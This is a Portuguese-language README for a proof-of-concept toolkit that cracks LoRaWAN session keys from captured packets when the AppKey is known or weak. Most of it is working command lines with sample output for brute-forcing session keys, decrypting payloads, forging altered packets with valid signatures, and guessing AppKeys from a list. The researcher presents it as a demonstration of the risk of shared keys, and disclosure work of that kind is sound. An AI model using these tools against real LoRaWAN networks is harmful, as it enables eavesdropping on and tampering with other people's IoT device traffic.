
LoRaWAN session cracker - Uma PoC para explorar chaves de aplicação fracas ou compartilhadas
Criado por Sipke Mellema da Applied Risk
Esta é uma Prova de Conceito para demonstrar os perigos de usar a mesma AppKey em múltiplos nós LoRaWAN.
Este repositório contém um conjunto de ferramentas para quebrar chaves de sessão LoRaWAN a partir de pacotes capturados. O cenário de ataque pressupõe que você conhece a AppKey, mas perdeu o handshake. Ou a AppKey não é aleatória e pode ser adivinhada.
Os handshakes LoRa usam três valores para gerar as chaves de sessão:
AppNonce | NetID | DevNonce
AppNonce e NetID têm 3 bytes, e DevNonce tem 2 bytes. Parte do NetID é conhecida, então restam 57 bits de entropia. E, devido a falhas de implementação, isso pode ser bem menor.
Basta usar make. Note que você pode precisar vincular a uma localização do openssl 1.0.* no Makefile.
./loracrack -k <AppKey em hex> -p <pacote_bruto em hex>
Quebra chaves de sessão se o handshake (join-accept) foi perdido, mas a AppKey é conhecida. A quebra é feita gerando chaves de sessão e verificando o MIC.
$ ./loracrack -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
Argumentos opcionais:
-t threads
-v verbose (0, 1 ou 2)
-m AppNonce máximo
./loracrack_knownpt -k <AppKey em hex> -p <pacote_bruto em hex> -d <texto_plano em hex>
Quebra chaves de sessão se o handshake (join-accept) foi perdido, mas a AppKey e o texto plano são conhecidos. A quebra é feita descriptografando o FRMPayload e verificando o texto plano. É mais rápido do que verificar o MIC, pois o CMAC usa mais operações AES.
$ ./loracrack_knownpt -k 88888888888888888888888888888888 -p 400267bd018005000142d9f48c52ea717c57 -d 33302e3332
4899be88e40088c40abc703fa3ba1195 04068f88b9feee5385c67e033d911b4a
Argumentos opcionais:
-t threads
-v verbose (0, 1 ou 2)
-m AppNonce máximo
./loracrack_decrypt -k <chave de descriptografia em hex> -p <pacote_bruto em hex>
Descriptografa os dados do pacote se a chave de sessão for conhecida.
$ ./loracrack_decrypt -k 4899be88e40088c40abc703fa3ba1195 -p 400267bd018005000142d9f48c52ea717c57
30.32
./loracrack_alterpacket -p <pacote_bruto em hex> -a <AppSKey em hex> -n <NwkSKey em hex> -c <Fctn> -d <novos dados em hex>
Altera o pacote com novos dados, mantendo coisas antigas como DeviceAddr.
$ ./loracrack_alterpacket -p 400267bd018005000142d9f48c52ea717c57 -a 4899be88e40088c40abc703fa3ba1195 -n 04068f88b9feee5385c67e033d911b4a -c 5 -d 33302d3332
400267bd018005000142d9f78c521c78573b
./loracrack_genkeys -k <AppKey em hex> -j <pacote_join em hex> -a <pacote_accept em hex>
Gera chaves de sessão dado o handshake (pacotes join e accept) e a AppKey.
$ ./loracrack_genkeys -k 88888888888888888888888888888888 -j 0000000000000000002bd61f000ba304000e1ba147157a -a 20adf6e18980952590fc1f7987a6913f35
4e1dcaf4f02fcd2ecbb1cb0d138fc53d 96eb9e13f0a3468ca580707ee688ee19
./loracrack_guessjoin -p <pacote_bruto em hex> -f <arquivo com AppKeys em hex>
Verifica se AppKeys previsíveis são usadas, checando o MIC em um pacote join. As AppKeys são obtidas de um arquivo com AppKeys codificadas em hex, uma por linha.
$ ./loracrack_guessjoin -p 0000000000000000002bd61f000ba304002f3b5785cf80 -f guessjoin_genkeys/simplekeys
88888888888888888888888888888888